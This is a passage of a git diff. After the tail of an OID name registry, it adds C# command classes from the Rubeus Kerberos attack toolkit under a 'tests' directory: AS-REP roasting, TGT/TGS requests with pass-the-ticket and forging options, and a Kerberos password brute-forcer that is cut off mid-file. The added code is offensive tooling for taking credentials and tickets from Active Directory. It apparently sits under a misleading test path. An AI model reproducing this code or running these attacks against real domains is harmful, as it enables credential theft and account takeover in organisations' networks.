Reg("1.3.6.1.5.5.7.3.8", "id-kp-timeStamping"); + Reg("1.3.6.1.5.5.7.3.9", "id-kp-OCSPSigning"); + + Reg("2.5.29.54", "id-ce-inhibitAnyPolicy"); + Reg("2.5.29.46", "id-ce-freshestCRL"); + Reg("1.3.6.1.5.5.7.1.1", "id-pe-authorityInfoAccess"); + Reg("1.3.6.1.5.5.7.1.11", "id-pe-subjectInfoAccess"); + Reg("2.5.29.20", "id-ce-cRLNumber"); + Reg("2.5.29.28", "id-ce-issuingDistributionPoint"); + Reg("2.5.29.27", "id-ce-deltaCRLIndicator"); + Reg("2.5.29.21", "id-ce-cRLReasons"); + Reg("2.5.29.29", "id-ce-certificateIssuer"); + Reg("2.5.29.23", "id-ce-holdInstructionCode"); + Reg("2.2.840.10040.2", "WRONG-holdInstruction"); + Reg("2.2.840.10040.2.1", "WRONG-id-holdinstruction-none"); + Reg("2.2.840.10040.2.2", "WRONG-id-holdinstruction-callissuer"); + Reg("2.2.840.10040.2.3", "WRONG-id-holdinstruction-reject"); + Reg("2.5.29.24", "id-ce-invalidityDate"); + + /* + * These are the "right" OID. RFC 5280 mistakenly defines + * the first OID element as "2". + */ + Reg("1.2.840.10040.2", "holdInstruction"); + Reg("1.2.840.10040.2.1", "id-holdinstruction-none"); + Reg("1.2.840.10040.2.2", "id-holdinstruction-callissuer"); + Reg("1.2.840.10040.2.3", "id-holdinstruction-reject"); + + /* + * From PKCS#1. + */ + Reg("1.2.840.113549.1.1", "pkcs-1"); + Reg("1.2.840.113549.1.1.1", "rsaEncryption"); + Reg("1.2.840.113549.1.1.7", "id-RSAES-OAEP"); + Reg("1.2.840.113549.1.1.9", "id-pSpecified"); + Reg("1.2.840.113549.1.1.10", "id-RSASSA-PSS"); + Reg("1.2.840.113549.1.1.2", "md2WithRSAEncryption"); + Reg("1.2.840.113549.1.1.4", "md5WithRSAEncryption"); + Reg("1.2.840.113549.1.1.5", "sha1WithRSAEncryption"); + Reg("1.2.840.113549.1.1.11", "sha256WithRSAEncryption"); + Reg("1.2.840.113549.1.1.12", "sha384WithRSAEncryption"); + Reg("1.2.840.113549.1.1.13", "sha512WithRSAEncryption"); + Reg("1.3.14.3.2.26", "id-sha1"); + Reg("1.2.840.113549.2.2", "id-md2"); + Reg("1.2.840.113549.2.5", "id-md5"); + Reg("1.2.840.113549.1.1.8", "id-mgf1"); + + /* + * From NIST: http://csrc.nist.gov/groups/ST/crypto_apps_infra/csor/algorithms.html + */ + Reg("2.16.840.1.101.3", "csor"); + Reg("2.16.840.1.101.3.4", "nistAlgorithms"); + Reg("2.16.840.1.101.3.4.0", "csorModules"); + Reg("2.16.840.1.101.3.4.0.1", "aesModule1"); + + Reg("2.16.840.1.101.3.4.1", "aes"); + Reg("2.16.840.1.101.3.4.1.1", "id-aes128-ECB"); + Reg("2.16.840.1.101.3.4.1.2", "id-aes128-CBC"); + Reg("2.16.840.1.101.3.4.1.3", "id-aes128-OFB"); + Reg("2.16.840.1.101.3.4.1.4", "id-aes128-CFB"); + Reg("2.16.840.1.101.3.4.1.5", "id-aes128-wrap"); + Reg("2.16.840.1.101.3.4.1.6", "id-aes128-GCM"); + Reg("2.16.840.1.101.3.4.1.7", "id-aes128-CCM"); + Reg("2.16.840.1.101.3.4.1.8", "id-aes128-wrap-pad"); + Reg("2.16.840.1.101.3.4.1.21", "id-aes192-ECB"); + Reg("2.16.840.1.101.3.4.1.22", "id-aes192-CBC"); + Reg("2.16.840.1.101.3.4.1.23", "id-aes192-OFB"); + Reg("2.16.840.1.101.3.4.1.24", "id-aes192-CFB"); + Reg("2.16.840.1.101.3.4.1.25", "id-aes192-wrap"); + Reg("2.16.840.1.101.3.4.1.26", "id-aes192-GCM"); + Reg("2.16.840.1.101.3.4.1.27", "id-aes192-CCM"); + Reg("2.16.840.1.101.3.4.1.28", "id-aes192-wrap-pad"); + Reg("2.16.840.1.101.3.4.1.41", "id-aes256-ECB"); + Reg("2.16.840.1.101.3.4.1.42", "id-aes256-CBC"); + Reg("2.16.840.1.101.3.4.1.43", "id-aes256-OFB"); + Reg("2.16.840.1.101.3.4.1.44", "id-aes256-CFB"); + Reg("2.16.840.1.101.3.4.1.45", "id-aes256-wrap"); + Reg("2.16.840.1.101.3.4.1.46", "id-aes256-GCM"); + Reg("2.16.840.1.101.3.4.1.47", "id-aes256-CCM"); + Reg("2.16.840.1.101.3.4.1.48", "id-aes256-wrap-pad"); + + Reg("2.16.840.1.101.3.4.2", "hashAlgs"); + Reg("2.16.840.1.101.3.4.2.1", "id-sha256"); + Reg("2.16.840.1.101.3.4.2.2", "id-sha384"); + Reg("2.16.840.1.101.3.4.2.3", "id-sha512"); + Reg("2.16.840.1.101.3.4.2.4", "id-sha224"); + Reg("2.16.840.1.101.3.4.2.5", "id-sha512-224"); + Reg("2.16.840.1.101.3.4.2.6", "id-sha512-256"); + + Reg("2.16.840.1.101.3.4.3", "sigAlgs"); + Reg("2.16.840.1.101.3.4.3.1", "id-dsa-with-sha224"); + Reg("2.16.840.1.101.3.4.3.2", "id-dsa-with-sha256"); + + Reg("1.2.840.113549", "rsadsi"); + Reg("1.2.840.113549.2", "digestAlgorithm"); + Reg("1.2.840.113549.2.7", "id-hmacWithSHA1"); + Reg("1.2.840.113549.2.8", "id-hmacWithSHA224"); + Reg("1.2.840.113549.2.9", "id-hmacWithSHA256"); + Reg("1.2.840.113549.2.10", "id-hmacWithSHA384"); + Reg("1.2.840.113549.2.11", "id-hmacWithSHA512"); + + /* + * From X9.57: http://oid-info.com/get/1.2.840.10040.4 + */ + Reg("1.2.840.10040.4", "x9algorithm"); + Reg("1.2.840.10040.4", "x9cm"); + Reg("1.2.840.10040.4.1", "dsa"); + Reg("1.2.840.10040.4.3", "dsa-with-sha1"); + + /* + * From SEC: http://oid-info.com/get/1.3.14.3.2 + */ + Reg("1.3.14.3.2.2", "md4WithRSA"); + Reg("1.3.14.3.2.3", "md5WithRSA"); + Reg("1.3.14.3.2.4", "md4WithRSAEncryption"); + Reg("1.3.14.3.2.12", "dsaSEC"); + Reg("1.3.14.3.2.13", "dsaWithSHASEC"); + Reg("1.3.14.3.2.27", "dsaWithSHA1SEC"); + + /* + * From Microsoft: http://oid-info.com/get/1.3.6.1.4.1.311.20.2 + */ + Reg("1.3.6.1.4.1.311.20.2", "ms-certType"); + Reg("1.3.6.1.4.1.311.20.2.2", "ms-smartcardLogon"); + Reg("1.3.6.1.4.1.311.20.2.3", "ms-UserPrincipalName"); + Reg("1.3.6.1.4.1.311.20.2.3", "ms-UPN"); + } + + static void Reg(string oid, string name) + { + if (!OIDToName.ContainsKey(oid)) { + OIDToName.Add(oid, name); + } + string nn = Normalize(name); + if (NameToOID.ContainsKey(nn)) { + throw new Exception("OID name collision: " + nn); + } + NameToOID.Add(nn, oid); + + /* + * Many names start with 'id-??-' and we want to support + * the short names (without that prefix) as aliases. But + * we must take care of some collisions on short names. + */ + if (name.StartsWith("id-") + && name.Length >= 7 && name[5] == '-') + { + if (name.StartsWith("id-ad-")) { + Reg(oid, name.Substring(6) + "-IA"); + } else if (name.StartsWith("id-kp-")) { + Reg(oid, name.Substring(6) + "-EKU"); + } else { + Reg(oid, name.Substring(6)); + } + } + } + + static string Normalize(string name) + { + StringBuilder sb = new StringBuilder(); + foreach (char c in name) { + int d = (int)c; + if (d <= 32 || d == '-') { + continue; + } + if (d >= 'A' && d <= 'Z') { + d += 'a' - 'A'; + } + sb.Append((char)c); + } + return sb.ToString(); + } + + public static string ToName(string oid) + { + return OIDToName.ContainsKey(oid) ? OIDToName[oid] : oid; + } + + public static string ToOID(string name) + { + if (IsNumericOID(name)) { + return name; + } + string nn = Normalize(name); + if (!NameToOID.ContainsKey(nn)) { + throw new AsnException( + "unrecognized OID name: " + name); + } + return NameToOID[nn]; + } + + public static bool IsNumericOID(string oid) + { + /* + * An OID is in numeric format if: + * -- it contains only digits and dots + * -- it does not start or end with a dot + * -- it does not contain two consecutive dots + * -- it contains at least one dot + */ + foreach (char c in oid) { + if (!(c >= '0' && c <= '9') && c != '.') { + return false; + } + } + if (oid.StartsWith(".") || oid.EndsWith(".")) { + return false; + } + if (oid.IndexOf("..") >= 0) { + return false; + } + if (oid.IndexOf('.') < 0) { + return false; + } + return true; + } +} + +} diff --git a/tests/kerbtgs/CrackMapCore/Commands/ASREP2Kirbi.cs b/tests/kerbtgs/CrackMapCore/Commands/ASREP2Kirbi.cs new file mode 100644 index 0000000..5f44a5b --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/ASREP2Kirbi.cs @@ -0,0 +1,122 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Asn1; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class ASREP2Kirbi : ICommand + { + public static string CommandName => "asrep2kirbi"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: AS-REP to Kirbi"); + + AsnElt asrep = null; + byte[] key = null; + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; //default if non /enctype is specified + bool ptt = false; + string outfile = ""; + LUID luid = new LUID(); + + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/asrep")) + { + string buffer = arguments["/asrep"]; + + if (Helpers.IsBase64String(buffer)) + { + byte[] bufferBytes = Convert.FromBase64String(buffer); + + asrep = AsnElt.Decode(bufferBytes); + } + else if (File.Exists(buffer)) + { + byte[] bufferBytes = File.ReadAllBytes(buffer); + asrep = AsnElt.Decode(bufferBytes); + } + else + { + Console.WriteLine("\r\n[X] /asrep:X must either be a file or a base64 encoded AS-REP message\r\n"); + return; + } + } + else + { + Console.WriteLine("\r\n[X] A /asrep:X needs to be supplied!\r\n"); + return; + } + + if (arguments.ContainsKey("/key")) + { + if (Helpers.IsBase64String(arguments["/key"])) + { + key = Convert.FromBase64String(arguments["/key"]); + } + else + { + Console.WriteLine("\r\n[X] /key:X must be a base64 encoded client key\r\n"); + //return; + } + } + else if (arguments.ContainsKey("/keyhex")) + { + key = Helpers.StringToByteArray(arguments["/keyhex"]); + } + else + { + Console.WriteLine("\r\n[X]A /key:X or /keyhex:X must be supplied!"); + return; + } + + if (arguments.ContainsKey("/enctype")) + { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + + Ask.HandleASREP(asrep, encType, Helpers.ByteArrayToString(key), outfile, ptt, luid, false, true); + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/Asktgs.cs b/tests/kerbtgs/CrackMapCore/Commands/Asktgs.cs new file mode 100644 index 0000000..98dbffc --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Asktgs.cs @@ -0,0 +1,194 @@ +using System; +using System.Collections.Generic; +using System.IO; + + +namespace Rubeus.Commands +{ + public class Asktgs : ICommand + { + public static string CommandName => "asktgs"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Ask TGS\r\n"); + + string outfile = ""; + bool ptt = false; + string dc = ""; + string service = ""; + bool enterprise = false; + bool opsec = false; + Interop.KERB_ETYPE requestEnctype = Interop.KERB_ETYPE.subkey_keymaterial; + KRB_CRED tgs = null; + string targetDomain = ""; + string servicekey = ""; + string asrepkey = ""; + bool u2u = false; + string targetUser = ""; + bool printargs = false; + bool keyList = false; + string proxyUrl = null; + + if (arguments.ContainsKey("/keyList")) + { + keyList = true; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/enterprise")) + { + enterprise = true; + } + + if (arguments.ContainsKey("/opsec")) + { + opsec = true; + } + + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + + if (arguments.ContainsKey("/enctype")) + { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + requestEnctype = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + requestEnctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + requestEnctype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + requestEnctype = Interop.KERB_ETYPE.des_cbc_md5; + } + else + { + Console.WriteLine("Unsupported etype : {0}", encTypeString); + return; + } + } + + // for U2U requests + if (arguments.ContainsKey("/u2u")) + { + u2u = true; + } + + if (arguments.ContainsKey("/service")) + { + service = arguments["/service"]; + } + else if (!u2u) + { + Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed"); + return; + } + + if (arguments.ContainsKey("/servicekey")) { + servicekey = arguments["/servicekey"]; + } + + if (u2u || !String.IsNullOrEmpty(servicekey)) + { + // print command arguments for forging tickets + if (arguments.ContainsKey("/printargs")) + { + printargs = true; + } + } + + + if (arguments.ContainsKey("/asrepkey")) { + asrepkey = arguments["/asrepkey"]; + } + + if (arguments.ContainsKey("/tgs")) + { + string kirbi64 = arguments["/tgs"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + return; + } + + } + + // for manually specifying domain in requests + if (arguments.ContainsKey("/targetdomain")) + { + targetDomain = arguments["/targetdomain"]; + } + + // for adding a PA-for-User PA data section + if (arguments.ContainsKey("/targetuser")) + { + targetUser = arguments["/targetuser"]; + } + + // for using a KDC proxy + if (arguments.ContainsKey("/proxyurl")) + { + proxyUrl = arguments["/proxyurl"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl, keyList); + return; + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl, keyList); + return; + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/Asktgt.cs b/tests/kerbtgs/CrackMapCore/Commands/Asktgt.cs new file mode 100644 index 0000000..cb02784 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Asktgt.cs @@ -0,0 +1,301 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Asktgt : ICommand + { + public static string CommandName => "asktgt"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Ask TGT\r\n"); + + string user = ""; + string domain = ""; + string password = ""; + string hash = ""; + string dc = ""; + string outfile = ""; + string certificate = ""; + string servicekey = ""; + string principalType = "principal"; + + bool ptt = false; + bool opsec = false; + bool force = false; + bool verifyCerts = false; + bool getCredentials = false; + bool pac = true; + LUID luid = new LUID(); + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; + Interop.KERB_ETYPE suppEncType = Interop.KERB_ETYPE.subkey_keymaterial; + + string proxyUrl = null; + string service = null; + bool nopreauth = arguments.ContainsKey("/nopreauth"); + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified + if (arguments.ContainsKey("/enctype")) { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) { + encType = Interop.KERB_ETYPE.rc4_hmac; + } else if (encTypeString.Equals("AES128")) { + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) { + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } else if (encTypeString.Equals("DES")) { + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + + Console.WriteLine("[*] Got domain: {0}", domain); + } + + if (arguments.ContainsKey("/password")) + { + password = arguments["/password"]; + + string salt = String.Format("{0}{1}", domain.ToUpperInvariant(), user); + + // special case for computer account salts + if (user.EndsWith("$")) + { + salt = String.Format("{0}host{1}.{2}", domain.ToUpperInvariant(), user.TrimEnd('$').ToLowerInvariant(), domain.ToLowerInvariant()); + } + + // special case for samaccountname spoofing to support Kerberos AES Encryption + if (arguments.ContainsKey("/oldsam")) + { + salt = String.Format("{0}host{1}.{2}", domain.ToUpperInvariant(), arguments["/oldsam"].TrimEnd('$').ToLowerInvariant(), domain.ToLowerInvariant()); + + } + + if (encType != Interop.KERB_ETYPE.rc4_hmac) + Console.WriteLine("[*] Using salt: {0}", salt); + + hash = Crypto.KerberosPasswordHash(encType, password, salt); + } + + else if (arguments.ContainsKey("/des")) + { + hash = arguments["/des"]; + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + else if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/ntlm")) + { + hash = arguments["/ntlm"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/aes128")) + { + hash = arguments["/aes128"]; + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + + if (arguments.ContainsKey("/certificate")) { + certificate = arguments["/certificate"]; + + if(arguments.ContainsKey("/verifychain") || arguments.ContainsKey("/verifycerts")) + { + Console.WriteLine("[*] Verifying the entire certificate chain!\r\n"); + verifyCerts = true; + } + if (arguments.ContainsKey("/getcredentials")) + { + getCredentials = true; + } + } + + if (arguments.ContainsKey("/servicekey")) { + servicekey = arguments["/servicekey"]; + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/opsec")) + { + opsec = true; + if (arguments.ContainsKey("/force")) + { + force = true; + } + } + + if (arguments.ContainsKey("/nopac")) + { + pac = false; + } + + + if (arguments.ContainsKey("/proxyurl")) + { + proxyUrl = arguments["/proxyurl"]; + } + if (arguments.ContainsKey("/service")) + { + service = arguments["/service"]; + } + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/suppenctype")) + { + string encTypeString = arguments["/suppenctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + suppEncType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + suppEncType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + suppEncType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + suppEncType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + else + { + suppEncType = encType; + } + if (arguments.ContainsKey("/principaltype")) { + principalType = arguments["/principaltype"]; + } + + if (arguments.ContainsKey("/createnetonly")) + { + // if we're starting a hidden process to apply the ticket to + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session"); + return; + } + if (arguments.ContainsKey("/show")) + { + luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], true); + } + else + { + luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], false); + } + Console.WriteLine(); + } + + if (String.IsNullOrEmpty(user)) + { + Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); + return; + } + if (String.IsNullOrEmpty(hash) && String.IsNullOrEmpty(certificate) && !nopreauth) + { + Console.WriteLine("\r\n[X] You must supply a /password, /certificate or a [/des|/rc4|/aes128|/aes256] hash!\r\n"); + return; + } + + bool changepw = arguments.ContainsKey("/changepw"); + + if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) + { + Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n"); + return; + } + else + { + if ((opsec) && (encType != Interop.KERB_ETYPE.aes256_cts_hmac_sha1) && !(force)) + { + Console.WriteLine("[X] Using /opsec but not using /enctype:aes256, to force this behaviour use /force"); + return; + } + if (nopreauth) + { + try + { + Ask.NoPreAuthTGT(user, domain, hash, encType, dc, outfile, ptt, luid, true, true, proxyUrl, service, suppEncType, opsec, principalType); + } + catch (KerberosErrorException ex) + { + KRB_ERROR error = ex.krbError; + try + { + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}: {2}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code, error.e_text); + } + catch + { + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + } + } + else if (String.IsNullOrEmpty(certificate)) + Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, pac, proxyUrl, service, suppEncType, principalType); + else + Ask.TGT(user, domain, certificate, password, encType, outfile, ptt, dc, luid, true, verifyCerts, servicekey, getCredentials, proxyUrl, service, changepw, principalType); + + return; + } + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Commands/Asreproast.cs b/tests/kerbtgs/CrackMapCore/Commands/Asreproast.cs new file mode 100644 index 0000000..4dd8fff --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Asreproast.cs @@ -0,0 +1,108 @@ +using System; +using System.Collections.Generic; +using System.Text.RegularExpressions; + + +namespace Rubeus.Commands +{ + public class Asreproast : ICommand + { + public static string CommandName => "asreproast"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: AS-REP roasting\r\n"); + + string user = ""; + string domain = ""; + string dc = ""; + string ou = ""; + string format = "john"; + string ldapFilter = ""; + string supportedEType = "rc4"; + string outFile = ""; + bool ldaps = false; + System.Net.NetworkCredential cred = null; + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/ou")) + { + ou = arguments["/ou"]; + } + if (arguments.ContainsKey("/ldapfilter")) + { + // additional LDAP targeting filter + ldapFilter = arguments["/ldapfilter"].Trim('"').Trim('\''); + } + if (arguments.ContainsKey("/format")) + { + format = arguments["/format"]; + } + if (arguments.ContainsKey("/outfile")) + { + outFile = arguments["/outfile"]; + } + if (arguments.ContainsKey("/ldaps")) + { + ldaps = true; + } + if (arguments.ContainsKey("/aes")) + { + supportedEType = "aes"; + } + if (arguments.ContainsKey("/des")) + { + supportedEType = "des"; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; + } + + if (arguments.ContainsKey("/creduser")) + { + if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return; + } + + string[] parts = arguments["/creduser"].Split('\\'); + string domainName = parts[0]; + string userName = parts[1]; + + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + string password = arguments["/credpassword"]; + + cred = new System.Net.NetworkCredential(userName, password, domainName); + } + Roast.ASRepRoast(domain, user, ou, dc, format, cred, outFile, ldapFilter, ldaps, supportedEType); + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/Brute.cs b/tests/kerbtgs/CrackMapCore/Commands/Brute.cs new file mode 100644 index 0000000..da23dbe --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Brute.cs @@ -0,0 +1,451 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.IO; +using System.DirectoryServices; +using System.DirectoryServices.AccountManagement; +using System.Collections; +using System.Text.RegularExpressions; +using Microsoft.Win32; + + +namespace Rubeus.Commands +{ + public class Brute : ICommand + { + public static string CommandName => "brute"; + + + private string domain = ""; + private string[] usernames = null; + private string[] passwords = null; + private string dc = ""; + private string ou = ""; + private string credUser = ""; + private string credDomain = ""; + private string credPassword = ""; + private string outfile = ""; + private uint verbose = 0; + private bool saveTickets = true; + + protected class BruteArgumentException : ArgumentException + { + public BruteArgumentException(string message) + : base(message) + { + } + } + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Perform Kerberos Brute Force\r\n"); + try + { + this.ParseArguments(arguments); + this.ObtainUsers(); + + IBruteforcerReporter consoleReporter = new BruteforceConsoleReporter( + this.outfile, this.verbose, this.saveTickets); + + Bruteforcer bruter = new Bruteforcer(this.domain, this.dc, consoleReporter); + bool success = bruter.Attack(this.usernames, this.passwords); + if (success) + { + if (!String.IsNullOrEmpty(this.outfile)) + { + Console.WriteLine("\r\n[+] Done: Credentials should be saved in \"{0}\"\r\n", this.outfile); + }else + { + Console.WriteLine("\r\n[+] Done\r\n", this.outfile); + } + } else + { + Console.WriteLine("\r\n[-] Done: No credentials were discovered :'(\r\n"); + } + } + catch (BruteArgumentException ex) + { + Console.WriteLine("\r\n" + ex.Message + "\r\n"); + } + catch (RubeusException ex) + { + Console.WriteLine("\r\n" + ex.Message + "\r\n"); + } + } + + private void ParseArguments(Dictionary arguments) + { + this.ParseDomain(arguments); + this.ParseOU(arguments); + this.ParseDC(arguments); + this.ParseCreds(arguments); + this.ParsePasswords(arguments); + this.ParseUsers(arguments); + this.ParseOutfile(arguments); + this.ParseVerbose(arguments); + this.ParseSaveTickets(arguments); + } + + private void ParseDomain(Dictionary arguments) + { + if (arguments.ContainsKey("/domain")) + { + this.domain = arguments["/domain"]; + } + else + { + this.domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; + } + } + + private void ParseOU(Dictionary arguments) + { + if (arguments.ContainsKey("/ou")) + { + this.ou = arguments["/ou"]; + } + } + + private void ParseDC(Dictionary arguments) + { + if (arguments.ContainsKey("/dc")) + { + this.dc = arguments["/dc"]; + }else + { + this.dc = this.domain; + } + } + + private void ParseCreds(Dictionary arguments) + { + if (arguments.ContainsKey("/creduser")) + { + if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) + { + throw new BruteArgumentException("[X] /creduser specification must be in fqdn format (domain.com\\user)"); + } + + string[] parts = arguments["/creduser"].Split('\\'); + this.credDomain = parts[0]; + this.credUser = parts[1]; + + if (!arguments.ContainsKey("/credpassword")) + { + throw new BruteArgumentException("[X] /credpassword is required when specifying /creduser"); + } + + this.credPassword = arguments["/credpassword"]; + } + + } + + private void ParsePasswords(Dictionary arguments) + { + if (arguments.ContainsKey("/passwords")) + { + try + { + this.passwords = File.ReadAllLines(arguments["/passwords"]); + }catch(FileNotFoundException) + { + throw new BruteArgumentException("[X] Unable to open passwords file \"" + arguments["/passwords"] + "\": Not found file"); + } + } + else if (arguments.ContainsKey("/password")) + { + this.passwords = new string[] { arguments["/password"] }; + } + else + { + throw new BruteArgumentException( + "[X] You must supply a password! Use /password: or /passwords:"); + } + } + + private void ParseUsers(Dictionary arguments) + { + if 